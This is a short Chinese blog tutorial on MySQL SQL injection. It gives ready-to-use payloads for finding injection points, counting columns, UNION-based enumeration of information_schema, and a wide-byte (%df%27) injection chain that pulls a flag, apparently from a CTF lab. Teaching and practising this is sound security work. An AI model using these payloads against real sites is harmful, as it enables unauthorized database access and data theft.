sql注入

sql注入基本思路

2018-03-23  本文已影响18人  小小怪吃吃吃

确定注入点

根据sql查询语句中数据类型的语法分为三类:

 **判断方法**: 
- and 1=1和and 1=2   
- ?id=1和id=2-1 
 **判断方法**: 
- ' and '1'='1和'and '1'='2
- ' or 1=1 %23
 **判断方法**: 
- %' and '%1%'='%1和%'and '%1%'='%2
- ?id=1' or 1=2%23  #页面回显ID=1的数据',说明前面不可能带有%号通配符,如果有,不可能返回是ID=1的数据。可判断不是搜索型

关键:注释或闭合语句,and或or验证。闭合要注意括号、双引号、百分号等。

查询字段数目

注意#符号在GET请求中必须经过URL编码变为%23,原因是URL通用格式为scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
"#"符号规定在整个URL中起锚点作用,也是在URL中属于最后一位。如果你直接在GET请求中输入#,会被认为是一个锚点。而不是自己想要传递的参数。

用order by来判断字段数。

联合查询

内联式注入和终止式注入。union查询的列数和类型要相同。
MySQL常用的系统函数:

version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径
@@version_compile_os #操作系统版本

注意:-- 注释符在GET请求中必须在后面加一些字符,加号或是空格。

查询数据库

- id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
- hex编码后在前面加上0x表明这里是16进制编码

查询列名和字段名

在MYSQL5.0之后,MYSQL中存在一张很重要的表叫information_schema。

9.jpeg

完整的注入流程

> ?id=-1%df%27 union select 1,2--+
> 查看数据库名:?id=-1%df%27 union select 1,database()%23
> 查看列名:?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35--+
> 查看字段名:?id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579--+
> 查看flag:?id=-1%df%27 union select 1,string from sql5.key--+
上一篇 下一篇

猜你喜欢

热点阅读